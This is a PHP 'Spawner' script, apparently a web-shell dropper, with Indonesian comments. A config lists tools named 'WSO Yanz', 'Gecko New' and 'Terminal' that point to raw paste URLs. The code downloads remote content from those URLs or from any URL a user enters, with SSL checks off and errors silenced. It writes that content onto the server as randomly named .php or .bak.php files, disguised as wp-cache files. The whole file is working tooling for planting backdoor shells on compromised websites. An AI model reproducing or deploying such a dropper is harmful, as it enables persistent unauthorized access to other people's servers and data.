[ 'primary' => '#ff4444', // Warna utama 'secondary' => '#ff8888', // Warna sekunder 'background' => '#0d0d0d', // Background gelap 'text' => '#ffaaaa', // Warna teks 'border' => '#550000', // Warna border 'glow' => '10px' // Intensity glow ], // ===== DEVELOPER CONTACT ===== 'developer' => [ 'name' => 'Pavel', 'telegram' => 'https://t.me/None', 'website' => 'https://none.com/' ], // ===== MESSAGE SETTINGS ===== 'messages' => [ 'welcome' => '㋡ Pavel • Spawner ㋡', 'subtitle' => '> Created by Pavel | Inalienability.com <', 'maintenance' => '☹ MAINTENANCE', 'success' => '☻ DEPLOYED', 'error_url' => '* INVALID URL', 'error_fetch' => '* FETCH FAILED', 'error_perm' => '* PERMISSION DENIED' ], // ===== TOOL BUTTONS - EDIT NAMES & URLs HERE ===== 'tools' => [ // 'key' => ['name' => 'BUTTON NAME', 'url' => 'SOURCE URL'] 'Pavel1' => [ 'name' => 'Terminal', 'url' => 'https://inalienability.com/raw/terminalpavel.txt' ], 'Pavel2' => [ 'name' => 'Gecko New', 'url' => 'https://paste.tc/raw/fXSghZ7S' ], 'Pavel3' => [ 'name' => 'WSO Yanz', 'url' => 'https://paste.tc/raw/uCG3AKor' ], 'Pavel4' => [ 'name' => 'Loveforya', 'url' => 'https://inalienability.com/raw/loveforyapavel.txt' ], 'Pavel5' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel6' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel7' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel8' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel9' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel10' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel11' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel12' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel13' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ], 'Pavel14' => [ 'name' => 'unknown', 'url' => 'https://inalienability.com/raw/unknown.txt' ] ], // ===== MAINTENANCE MODE ===== // Ubah true/false di sini! // true = maintenance (button disable & kasih alert) // false = aktif (button bisa dipakai) 'maintenance' => [ 'Pavel1' => false, 'Pavel2' => false, 'Pavel3' => false, 'Pavel4' => false, 'Pavel5' => true, 'Pavel6' => true, 'Pavel7' => true, 'Pavel8' => true, 'Pavel9' => true, 'Pavel10' => true, 'Pavel11' => true, 'Pavel12' => true, 'Pavel13' => true, 'Pavel14' => true ], // ===== FILE NAMING ===== 'file' => [ 'prefix' => '', // Prefix untuk random filename 'extension' => '.bak.php', // SEMUA FILE PAKE PHP! 'random_length' => 10 // Panjang random string ] ]; // ============================================ // SYSTEM CODE - DON'T EDIT BELOW THIS LINE // ============================================ error_reporting(0); // Function to fix URL (add https:// if no protocol) function fixUrl($url) { $url = trim($url); if (!preg_match('/^https?:\/\//i', $url)) { if (preg_match('/^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}/', $url) || preg_match('/^[a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/', $url)) { $url = 'https://' . $url; } } return $url; } // Function to generate random filename - SELALU PAKE PHP function generateRandomName($config) { $chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; $name = ''; for ($i = 0; $i < $config['file']['random_length']; $i++) { $name .= $chars[mt_rand(0, strlen($chars) - 1)]; } return $config['file']['prefix'] . $name . $config['file']['extension']; } // Function to fetch content using available methods function fetchContent($url) { $content = false; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $content = curl_exec($ch); curl_close($ch); if ($content !== false && strlen($content) > 0) { return $content; } } if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'timeout' => 30, 'user_agent' => 'Mozilla/5.0' ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $content = @file_get_contents($url, false, $context); if ($content !== false && strlen($content) > 0) { return $content; } } return false; } // Handle deployment $message = ''; $deployedFile = ''; $alertMessage = ''; // Handle URL Upload - SELALU PAKE PHP if (isset($_POST['url_upload']) && !empty($_POST['custom_url'])) { $custom_url = trim($_POST['custom_url']); $custom_name = isset($_POST['custom_name']) ? trim($_POST['custom_name']) : ''; // Fix URL $fixed_url = fixUrl($custom_url); if (!filter_var($fixed_url, FILTER_VALIDATE_URL)) { $alertMessage = $config['messages']['error_url'] . ': Invalid URL format'; } else { $content = fetchContent($fixed_url); if ($content === false || strlen($content) == 0) { $alertMessage = $config['messages']['error_fetch'] . ': Could not retrieve content'; } else { // Generate filename - SELALU PAKE PHP if (!empty($custom_name)) { // Bersihin nama dari karakter aneh $custom_name = preg_replace('/[^a-zA-Z0-9_-]/', '', $custom_name); // Kalo nama udah pake .php, biarin. Kalo belum, tambahin .php if (!preg_match('/\.php$/i', $custom_name)) { $filename = $custom_name . '.php'; } else { $filename = $custom_name; } } else { $filename = generateRandomName($config); } // Write file if (@file_put_contents($filename, $content)) { $deployedFile = $filename; $message = $config['messages']['success'] . ' - Custom URL'; } else { $message = $config['messages']['error_perm']; } } } } // Handle tool deployment - SELALU PAKE PHP if (isset($_POST['deploy'])) { $type = $_POST['type']; // Check maintenance mode if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) { $alertMessage = $config['messages']['maintenance'] . ': Tool under maintenance'; } else { if (isset($config['tools'][$type]['url'])) { $url = $config['tools'][$type]['url']; $content = fetchContent($url); if ($content !== false && strlen($content) > 0) { // SELALU generate random PHP file $filename = generateRandomName($config); if (@file_put_contents($filename, $content)) { $deployedFile = $filename; $message = $config['messages']['success'] . ' - ' . $config['tools'][$type]['name']; } else { $message = $config['messages']['error_perm']; } } else { $message = $config['messages']['error_fetch']; } } else { $alertMessage = 'ERROR: Tool not found'; } } } // Get button class based on maintenance status function getButtonClass($type, $config) { if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) { return 'btn maintenance'; } return 'btn'; } // Get button text with maintenance indicator function getButtonText($label, $type, $config) { if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) { return $label . ' [' . $config['messages']['maintenance'] . ']'; } return $label; } // Check if button should be clickable function isButtonClickable($type, $config) { if (isset($config['maintenance'][$type]) && $config['maintenance'][$type] === true) { return false; } return true; } ?> <?php echo $config['messages']['welcome']; ?>

CUSTOM URL UPLOAD

Accepted URL : All type of url
All file will be PHP • Does not accept other extension
File name will he randomized with prefix of wp-cache-name.php
$tool): $isClickable = isButtonClickable($key, $config); $buttonText = getButtonText($tool['name'], $key, $config); ?>
PHP:
cURL:
FOpen:
Tools:
Maintenance:
Created : Pavel • 2026